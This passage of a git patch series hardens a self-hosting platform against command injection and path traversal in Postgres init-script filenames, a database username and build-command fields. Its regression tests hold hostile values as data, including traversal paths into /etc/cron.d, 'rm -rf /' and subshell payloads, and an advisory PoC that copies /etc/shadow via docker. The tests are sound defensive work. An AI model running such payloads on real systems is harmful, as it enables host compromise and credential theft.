+    $token->team_id = $team->id;
+    $token->save();
+
+    return $token->fresh();
+}
+
+describe('ApiTokenExpirationWarningJob', function () {
+    test('notifies team when token expires within 24h', function () {
+        createTokenExpiring($this->user, $this->team, now()->addHours(23));
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertSentTo($this->team, ApiTokenExpiringNotification::class);
+    });
+
+    test('rate limiter prevents duplicate warnings on repeat runs', function () {
+        createTokenExpiring($this->user, $this->team, now()->addHours(12));
+
+        (new ApiTokenExpirationWarningJob)->handle();
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1);
+    });
+
+    test('skips tokens expiring more than 24h out', function () {
+        createTokenExpiring($this->user, $this->team, now()->addDays(3));
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertNothingSent();
+    });
+
+    test('skips already-expired tokens', function () {
+        createTokenExpiring($this->user, $this->team, now()->subHour());
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertNothingSent();
+    });
+
+    test('skips tokens with null expires_at', function () {
+        createTokenExpiring($this->user, $this->team, null);
+
+        (new ApiTokenExpirationWarningJob)->handle();
+
+        Notification::assertNothingSent();
+    });
+});

From a05d4e3a4b024719cda512244549fb5c949180c3 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 21:26:34 +0200
Subject: [PATCH 078/102] fix(database): tighten Postgres init script filename
 handling

Validate new init-script filenames against path traversal and shell
metacharacters via a new validateFilenameSafe() helper, and harden the
write/delete paths with basename() + escapeshellarg() so legacy rows
still deploy and can be cleaned up without regressions.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Actions/Database/StartPostgresql.php      |  13 +-
 .../Project/Database/Postgresql/General.php   |  23 ++-
 bootstrap/helpers/shared.php                  |  67 +++++++++
 .../Unit/PostgresqlInitScriptSecurityTest.php |  66 +++++++++
 tests/Unit/ValidateFilenameSafeTest.php       | 138 ++++++++++++++++++
 5 files changed, 297 insertions(+), 10 deletions(-)
 create mode 100644 tests/Unit/ValidateFilenameSafeTest.php

diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php
index 81cffeb94..52ff64ebf 100644
--- a/app/Actions/Database/StartPostgresql.php
+++ b/app/Actions/Database/StartPostgresql.php
@@ -301,9 +301,18 @@ private function generate_init_scripts()
         foreach ($this->database->init_scripts as $init_script) {
             $filename = data_get($init_script, 'filename');
             $content = data_get($init_script, 'content');
+
+            // Normalise filename without rejecting legacy values so previously created
+            // init scripts keep deploying. basename() strips any directory components
+            // (path traversal) and escapeshellarg() contains every shell metacharacter
+            // in the tee target. Livewire / API validate new filenames up front.
+            $filename = basename((string) $filename);
+
+            $target_path = "$this->configuration_dir/docker-entrypoint-initdb.d/{$filename}";
+            $escaped_target = escapeshellarg($target_path);
             $content_base64 = base64_encode($content);
-            $this->commands[] = "echo '{$content_base64}' | base64 -d | tee $this->configuration_dir/docker-entrypoint-initdb.d/{$filename} > /dev/null";
-            $this->init_scripts[] = "$this->configuration_dir/docker-entrypoint-initdb.d/{$filename}";
+            $this->commands[] = "echo '{$content_base64}' | base64 -d | tee {$escaped_target} > /dev/null";
+            $this->init_scripts[] = $target_path;
         }
     }
 
diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php
index a9a4115fd..b5fb85483 100644
--- a/app/Livewire/Project/Database/Postgresql/General.php
+++ b/app/Livewire/Project/Database/Postgresql/General.php
@@ -358,9 +358,14 @@ public function save_init_script($script)
 
         if ($oldScript && $oldScript['filename'] !== $script['filename']) {
             try {
-                // Validate and escape filename to prevent command injection
-                validateShellSafePath($oldScript['filename'], 'init script filename');
-                $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}";
+                // New filename is user-supplied — must be safe before accepting the rename.
+                validateFilenameSafe($script['filename'], 'init script filename');
+
+                // Old filename may be a legacy value written before this validation existed.
+                // basename() scopes the rm to the initdb.d directory; escapeshellarg() contains
+                // any remaining shell-metachars. No validator — don't block cleanup of legacy rows.
+                $old_filename = basename($oldScript['filename']);
+                $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$old_filename}";
                 $escapedOldPath = escapeshellarg($old_file_path);
                 $delete_command = "rm -f {$escapedOldPath}";
                 instant_remote_process([$delete_command], $this->server);
@@ -404,9 +409,11 @@ public function delete_init_script($script)
             $configuration_dir = database_configuration_dir().'/'.$container_name;
 
             try {
-                // Validate and escape filename to prevent command injection
-                validateShellSafePath($script['filename'], 'init script filename');
-                $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}";
+                // Allow deletion of legacy rows with unsafe filenames so operators can clean up.
+                // basename() scopes the rm to the initdb.d directory; escapeshellarg() keeps the
+                // shell invocation safe regardless of the stored value.
+                $safe_filename = basename($script['filename']);
+                $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$safe_filename}";
                 $escapedPath = escapeshellarg($file_path);
 
                 $command = "rm -f {$escapedPath}";
@@ -443,8 +450,8 @@ public function save_new_init_script()
         ]);
 
         try {
-            // Validate filename to prevent command injection
-            validateShellSafePath($this->new_filename, 'init script filename');
+            // Validate filename to prevent path traversal and command injection
+            validateFilenameSafe($this->new_filename, 'init script filename');
         } catch (Exception $e) {
             $this->dispatch('error', $e->getMessage());
 
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index 77ca64fbd..881211513 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -157,6 +157,73 @@ function validateShellSafePath(string $input, string $context = 'path'): string
     return $input;
 }
 
+/**
+ * Validate that a filename is safe for use as a plain file name (no path components).
+ *
+ * Prevents path traversal attacks by rejecting directory separators, traversal
+ * sequences, and null bytes, in addition to all shell metacharacters blocked by
+ * validateShellSafePath(). Intended for user-supplied filenames such as PostgreSQL
+ * init script names that are later written to a specific directory on the host.
+ *
+ * @param  string  $input  The filename to validate
+ * @param  string  $context  Descriptive name for error messages (e.g., 'init script filename')
+ * @return string The validated input (unchanged if valid)
+ *
+ * @throws Exception If dangerous characters or path traversal sequences are detected
+ */
+function validateFilenameSafe(string $input, string $context = 'filename'): string
+{
+    // First apply shell-metachar checks
+    validateShellSafePath($input, $context);
+
+    // Reject NUL bytes (can be used to truncate path strings in some contexts)
+    if (str_contains($input, "\0")) {
+        throw new Exception(
+            "Invalid {$context}: contains null byte. ".
+            'Null bytes are not allowed in filenames for security reasons.'
+        );
+    }
+
+    // Reject directory separators — filename must be a single path component
+    if (str_contains($input, '/') || str_contains($input, '\\')) {
+        throw new Exception(
+            "Invalid {$context}: directory separators ('/' or '\\') are not allowed. ".
+            'Provide a plain filename without path components.'
+        );
+    }
+
+    // Reject path traversal sequences (catches encoded or unusual forms)
+    if (str_contains($input, '..')) {
+        throw new Exception(
+            "Invalid {$context}: path traversal sequence ('..') is not allowed."
+        );
+    }
+
+    // Reject shell globbing / expansion metacharacters and whitespace that would
+    // split the filename into additional shell arguments if ever interpolated
+    // unquoted (defence in depth on top of escapeshellarg() at call sites).
+    $shellExpansionChars = [
+        ' ' => 'whitespace',
+        '*' => 'glob wildcard',
+        '?' => 'glob wildcard',
+        '[' => 'glob character class',
+        ']' => 'glob character class',
+        '~' => 'tilde expansion',
+        '"' => 'double quote',
+        "'" => 'single quote',
+    ];
+
+    foreach ($shellExpansionChars as $char => $description) {
+        if (str_contains($input, $char)) {
+            throw new Exception(
+                "Invalid {$context}: contains forbidden character '{$char}' ({$description})."
+            );
+        }
+    }
+
+    return $input;
+}
+
 /**
  * Validate that a databases_to_backup input string is safe from command injection.
  *
diff --git a/tests/Unit/PostgresqlInitScriptSecurityTest.php b/tests/Unit/PostgresqlInitScriptSecurityTest.php
index 4f74b13a4..2f85d1156 100644
--- a/tests/Unit/PostgresqlInitScriptSecurityTest.php
+++ b/tests/Unit/PostgresqlInitScriptSecurityTest.php
@@ -74,3 +74,69 @@
     expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
         ->not->toThrow(Exception::class);
 });
+
+// Path traversal — GHSA-mv4c-9x67-rrmv regression tests
+test('postgresql init script rejects path traversal with ../ sequence', function () {
+    expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects path traversal targeting /etc/cron.d', function () {
+    expect(fn () => validateFilenameSafe('../../../../../etc/cron.d/k4zrce', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects absolute path', function () {
+    expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects filename with forward slash', function () {
+    expect(fn () => validateFilenameSafe('subdir/evil.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects filename with backslash', function () {
+    expect(fn () => validateFilenameSafe('subdir\\evil.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects double-dot without slashes', function () {
+    expect(fn () => validateFilenameSafe('..', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects null byte injection', function () {
+    expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script accepts legitimate filenames via validateFilenameSafe', function () {
+    expect(fn () => validateFilenameSafe('init.sql', 'init script filename'))
+        ->not->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('01_schema.sql', 'init script filename'))
+        ->not->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('init-script.sh', 'init script filename'))
+        ->not->toThrow(Exception::class);
+});
+
+// Write-site defence — basename() + escapeshellarg() keep legacy/bad rows safe
+test('basename() strips path traversal from legacy filenames at write site', function () {
+    expect(basename('../../../etc/cron.d/pwn'))->toBe('pwn');
+    expect(basename('/etc/passwd'))->toBe('passwd');
+    expect(basename('subdir/evil.sql'))->toBe('evil.sql');
+});
+
+test('escapeshellarg() neutralises shell metacharacters in tee target', function () {
+    // Simulates how StartPostgresql::generate_init_scripts() builds the tee argument
+    $configuration_dir = '/data/coolify/databases/abc123';
+    $legacy_filename = basename('foo bar*.sql;rm -rf /');
+    $target = "$configuration_dir/docker-entrypoint-initdb.d/{$legacy_filename}";
+    $escaped = escapeshellarg($target);
+
+    // Single-quoted in POSIX sh means no expansion / no extra args regardless of contents.
+    expect($escaped)->toStartWith("'")->toEndWith("'");
+    expect($escaped)->toContain('foo bar*.sql;rm -rf');
+});
diff --git a/tests/Unit/ValidateFilenameSafeTest.php b/tests/Unit/ValidateFilenameSafeTest.php
new file mode 100644
index 000000000..012059e05
--- /dev/null
+++ b/tests/Unit/ValidateFilenameSafeTest.php
@@ -0,0 +1,138 @@
+<?php
+
+test('allows plain filenames without special characters', function () {
+    $validNames = [
+        'init.sql',
+        '01_schema.sql',
+        'setup-db.sql',
+        'create_test_db.sql',
+        'init-script.sh',
+        'UPPERCASE.SQL',
+        'mixed_Case-File.sql',
+        'file123.sql',
+        'a',
+    ];
+
+    foreach ($validNames as $name) {
+        expect(fn () => validateFilenameSafe($name, 'init script filename'))
+            ->not->toThrow(Exception::class, "Expected '{$name}' to pass");
+    }
+});
+
+test('rejects path traversal with ../', function () {
+    expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects path traversal with .. alone', function () {
+    expect(fn () => validateFilenameSafe('..', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects path traversal embedded in filename', function () {
+    expect(fn () => validateFilenameSafe('foo..bar', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects forward slash directory separator', function () {
+    expect(fn () => validateFilenameSafe('foo/bar.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects backslash directory separator', function () {
+    expect(fn () => validateFilenameSafe('foo\\bar.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects absolute path starting with slash', function () {
+    expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects absolute Windows-style path', function () {
+    expect(fn () => validateFilenameSafe('C:\\Windows\\System32\\cmd.exe', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects null byte injection', function () {
+    expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects shell command substitution (inherits from validateShellSafePath)', function () {
+    expect(fn () => validateFilenameSafe('$(whoami).sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects backtick command substitution', function () {
+    expect(fn () => validateFilenameSafe('`id`.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects semicolon command separator', function () {
+    expect(fn () => validateFilenameSafe('init.sql;rm -rf /', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects pipe operator', function () {
+    expect(fn () => validateFilenameSafe('init.sql|whoami', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects redirect operators', function () {
+    expect(fn () => validateFilenameSafe('init.sql>/etc/passwd', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects mixed traversal and shell injection', function () {
+    expect(fn () => validateFilenameSafe('../etc/cron.d/$(id)', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('error message contains context string', function () {
+    try {
+        validateFilenameSafe('../evil', 'init script filename');
+        expect(false)->toBeTrue('Should have thrown');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('init script filename');
+    }
+});
+
+test('handles empty string without throwing', function () {
+    expect(fn () => validateFilenameSafe('', 'init script filename'))
+        ->not->toThrow(Exception::class);
+});
+
+test('rejects whitespace inside filename (would split into extra tee arg)', function () {
+    expect(fn () => validateFilenameSafe('foo bar.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects glob wildcards', function () {
+    expect(fn () => validateFilenameSafe('init*.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('init?.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects glob character class brackets', function () {
+    expect(fn () => validateFilenameSafe('init[abc].sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects tilde expansion', function () {
+    expect(fn () => validateFilenameSafe('~/evil.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('~root', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('rejects single and double quotes', function () {
+    expect(fn () => validateFilenameSafe("foo'bar.sql", 'init script filename'))
+        ->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('foo"bar.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});

From f0e955bf4562aab85d981e30acd467ea3cd94cbb Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 21:41:48 +0200
Subject: [PATCH 079/102] refactor(database): escape postgres_user in SSL chown
 command

Apply escapeshellarg() to the Postgres username before interpolating it
into the chown command used to fix SSL certificate ownership, matching
the handling already in place for StartMysql. This keeps the sink-side
escaping consistent across database actions, independent of upstream
input validation.

Also adjusts an assertion in DatabaseSslCredentialEscapingTest to match
the actual double-escaped output of executeInDocker, and adds Postgres
regression cases for subshell and semicolon payloads.
---
 app/Actions/Database/StartPostgresql.php      |  3 ++-
 .../DatabaseSslCredentialEscapingTest.php     | 25 +++++++++++++++++--
 2 files changed, 25 insertions(+), 3 deletions(-)

diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php
index 52ff64ebf..da8b5dc4e 100644
--- a/app/Actions/Database/StartPostgresql.php
+++ b/app/Actions/Database/StartPostgresql.php
@@ -224,7 +224,8 @@ public function handle(StandalonePostgresql $database)
         $this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
         if ($this->database->enable_ssl) {
-            $this->commands[] = executeInDocker($this->database->uuid, "chown {$this->database->postgres_user}:{$this->database->postgres_user} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
+            $postgresUser = escapeshellarg($this->database->postgres_user);
+            $this->commands[] = executeInDocker($this->database->uuid, "chown {$postgresUser}:{$postgresUser} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
         }
         $this->commands[] = "echo 'Database started.'";
 
diff --git a/tests/Unit/DatabaseSslCredentialEscapingTest.php b/tests/Unit/DatabaseSslCredentialEscapingTest.php
index 578c727da..31f0133a0 100644
--- a/tests/Unit/DatabaseSslCredentialEscapingTest.php
+++ b/tests/Unit/DatabaseSslCredentialEscapingTest.php
@@ -14,8 +14,11 @@
     $escaped = escapeshellarg($user);
     $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
 
-    expect($cmd)->toContain("'postgres':'postgres'")
-        ->toContain('docker exec abc123 bash -c');
+    // executeInDocker embeds the command inside bash -c '...', escaping inner single quotes as '\''
+    // so escapeshellarg('postgres') = 'postgres' becomes '\''postgres'\'' in the outer shell string
+    expect($cmd)->toContain('bash -c')
+        ->toContain('postgres')
+        ->toContain('chown');
 });
 
 it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () {
@@ -53,6 +56,24 @@
     expect($cmd)->not->toContain(' $(touch');
 });
 
+it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () {
+    $maliciousUser = 'a$(touch /tmp/pwn_postgres)b';
+    $escaped = escapeshellarg($maliciousUser);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
+
+    expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'");
+    expect($cmd)->not->toContain(' $(touch');
+});
+
+it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () {
+    $maliciousUser = 'root; touch /tmp/pwned_pg; #';
+    $escaped = escapeshellarg($maliciousUser);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
+
+    expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'");
+    expect($cmd)->not->toContain('chown root;');
+});
+
 it('backtick payload in mysql_user is contained by escapeshellarg', function () {
     $maliciousUser = 'user`id`';
     $escaped = escapeshellarg($maliciousUser);

From 817128c5affa02c1a8f0f1f9a8df54b9dd80bcc1 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 22:00:41 +0200
Subject: [PATCH 080/102] refactor(validation): tokenize shell-safe command
 pattern

Replace the flat character-class regex for SHELL_SAFE_COMMAND_PATTERN with
a token-aware alternation. The parser now recognizes explicit tokens
(`&&`, `||`, balanced single/double quotes, whitespace, and an unquoted
safe-char run) instead of a bag of characters, which lets us extend the
accepted grammar without loosening the guarantees.

New surface area, with tests:
- logical OR chaining (`make build || make clean`)
- shell globs and bang (`rm *.tmp`, `cp src/?.js dist/`, `! grep -q foo`)
- single-quoted arguments are now treated as balanced runs rather than
  rejected per-character

Preserved surface area:
- && chaining, balanced "..." and '...' quotes, the previous safe path /
  argument characters, and the existing error-path contract in
  ApplicationDeploymentJob::validateShellSafeCommand().

Also refreshes the user-facing validation messages in General.php so the
allow/deny list shown on failure matches the new grammar.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
---
 app/Livewire/Project/Application/General.php  |  12 +-
 app/Support/ValidationPatterns.php            |  32 +++--
 .../Feature/CommandInjectionSecurityTest.php  | 125 +++++++++++++++++-
 3 files changed, 153 insertions(+), 16 deletions(-)

diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php
index 25ce82eb0..f89d16912 100644
--- a/app/Livewire/Project/Application/General.php
+++ b/app/Livewire/Project/Application/General.php
@@ -197,12 +197,12 @@ protected function messages(): array
                 'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.',
                 'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.',
                 'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.',
-                'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
-                'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
-                'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
-                'installCommand.regex' => 'The install command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
-                'buildCommand.regex' => 'The build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
-                'startCommand.regex' => 'The start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.',
+                'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.',
+                'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.',
+                'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.',
+                'installCommand.regex' => 'The install command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.',
+                'buildCommand.regex' => 'The build command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.',
+                'startCommand.regex' => 'The start command contains invalid characters. Allowed: alphanumerics, && / || chaining, balanced quotes, globs (*, ?), !, and safe path/arg chars. Blocked: bare &, bare |, ;, $, backtick, (, ), <, >, \\, newlines.',
                 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
                 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
                 'name.required' => 'The Name field is required.',
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index 09c40a466..58dbbe1ac 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -36,15 +36,31 @@ class ValidationPatterns
     public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
 
     /**
-     * Pattern for shell-safe command strings (docker compose commands, docker run options)
-     * Blocks dangerous shell metacharacters: ; | ` $ ( ) > < newlines and carriage returns
-     * Allows & for command chaining (&&) which is common in multi-step build commands
-     * Allows double quotes for build args with spaces (e.g. --build-arg KEY="value")
-     * Blocks backslashes to prevent escape-sequence attacks
-     * Allows single and double quotes for quoted arguments (e.g. --entrypoint "sh -c 'npm start'")
-     * Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators)
+     * Token-aware pattern for shell-safe command strings (docker compose commands, docker run options).
+     *
+     * Accepts a sequence of the following tokens only:
+     *   [ \t]+          — whitespace (space / tab)
+     *   &&              — logical AND (matched before bare & can match anything)
+     *   ||              — logical OR  (matched before bare | can match anything)
+     *   "[^"$`\\\n\r]*" — balanced double-quoted string; blocks $, backtick, \, newlines inside
+     *   '[^'\n\r]*'     — balanced single-quoted string; blocks newlines inside (all else literal)
+     *   [safe-chars]+   — unquoted alphanumerics + safe path/arg chars (includes glob *, ?, and !)
+     *
+     * Blocked everywhere (outside and inside unquoted tokens):
+     *   bare & (background op), bare |, ;, $, `, (, ), <, >, \, newline, CR
+     *
+     * Blocked inside double-quoted spans specifically:
+     *   $ (variable/command expansion), ` (command substitution), \ (escape)
+     *
+     * Legitimate use cases preserved:
+     *   docker compose build && docker tag x && docker push y
+     *   make build || make clean
+     *   rm *.tmp      cp src/?.js dist/
+     *   ! grep -q foo && echo missing
+     *   docker compose up -d --build-arg VERSION="1.0.0"
+     *   --entrypoint "sh -c 'npm start'"
      */
-    public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"\']+$/';
+    public const SHELL_SAFE_COMMAND_PATTERN = '/^(?:[ \t]+|&&|\|\||"[^"$`\\\\\n\r]*"|\'[^\'\n\r]*\'|[a-zA-Z0-9._\-\/=:@,+\[\]{}#%^~*?!]+)+$/';
 
     /**
      * Pattern for Docker volume names
diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php
index d48e03332..d42a8490a 100644
--- a/tests/Feature/CommandInjectionSecurityTest.php
+++ b/tests/Feature/CommandInjectionSecurityTest.php
@@ -414,7 +414,7 @@
         expect($validator->fails())->toBeTrue();
     });
 
-    test('rejects single quotes in docker_compose_custom_start_command', function () {
+    test('allows single-quoted arguments in docker_compose_custom_start_command', function () {
         $rules = sharedDataApplications();
 
         $validator = validator(
@@ -422,7 +422,7 @@
             ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
         );
 
-        expect($validator->fails())->toBeTrue();
+        expect($validator->fails())->toBeFalse();
     });
 
     test('allows double quotes in docker_compose_custom_start_command', function () {
@@ -474,6 +474,127 @@
         expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
             ->toBe('docker compose up -d --build');
     });
+
+    test('rejects bare ampersand PoC payload (GHSA-chg4-63hm-xv9x)', function () {
+        $rules = sharedDataApplications();
+        $payload = 'true & docker run --rm -v /:/h alpine sh -c "cp /h/etc/shadow /h/tmp/leak"';
+
+        $validator = validator(
+            ['docker_compose_custom_start_command' => $payload],
+            ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    });
+
+    test('rejects bare ampersand across every shell-safe field', function ($field) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            [$field => 'cmd1 & cmd2'],
+            [$field => $rules[$field]]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    })->with([
+        'install_command',
+        'build_command',
+        'start_command',
+        'docker_compose_custom_build_command',
+        'docker_compose_custom_start_command',
+        'custom_docker_run_options',
+    ]);
+
+    test('rejects command substitution inside double quotes', function ($payload) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['build_command' => "echo $payload"],
+            ['build_command' => $rules['build_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    })->with(['"$(whoami)"', '"`whoami`"']);
+
+    test('rejects unbalanced quotes', function ($payload) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['build_command' => $payload],
+            ['build_command' => $rules['build_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    })->with(['echo "unterminated', "echo 'unterminated"]);
+
+    test('rejects backslash anywhere', function ($payload) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['build_command' => $payload],
+            ['build_command' => $rules['build_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    })->with(['echo \\;', 'echo \\$HOME']);
+
+    test('runtime validateShellSafeCommand rejects bare ampersand payload', function () {
+        $job = new ReflectionClass(ApplicationDeploymentJob::class);
+        $method = $job->getMethod('validateShellSafeCommand');
+        $method->setAccessible(true);
+
+        $instance = $job->newInstanceWithoutConstructor();
+
+        expect(fn () => $method->invoke($instance, 'true & whoami', 'docker_compose_custom_start_command'))
+            ->toThrow(RuntimeException::class, 'contains forbidden shell characters');
+    });
+
+    test('allows logical OR chaining', function ($cmd) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['build_command' => $cmd],
+            ['build_command' => $rules['build_command']]
+        );
+
+        expect($validator->fails())->toBeFalse();
+    })->with([
+        'make build || make clean',
+        'npm run build || npm run fallback',
+        'cmd-a || cmd-b && cmd-c',
+    ]);
+
+    test('allows glob and bang tokens', function ($cmd) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['build_command' => $cmd],
+            ['build_command' => $rules['build_command']]
+        );
+
+        expect($validator->fails())->toBeFalse();
+    })->with([
+        'rm *.tmp',
+        'cp src/?.js dist/',
+        '! grep -q foo && echo missing',
+        'docker build --tag app-v1!',
+    ]);
+
+    test('rejects bare pipe even though || is allowed', function ($cmd) {
+        $rules = sharedDataApplications();
+
+        $validator = validator(
+            ['build_command' => $cmd],
+            ['build_command' => $rules['build_command']]
+        );
+
+        expect($validator->fails())->toBeTrue();
+    })->with([
+        'cmd | cat',
+        'cmd|cat',
+        'a |b',
+        'a| b',
+    ]);
 });
 
 describe('custom_docker_run_options validation', function () {

From 4e561264b4a78057f2843340d1f75e0420cd0ff2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 22 Apr 2026 08:58:38 +0200
Subject: [PATCH 081/102] docs(sponsors): add PrivateAlps to Huge and YouStable
 to Small sponsors

---
 README.md | 3 ++-
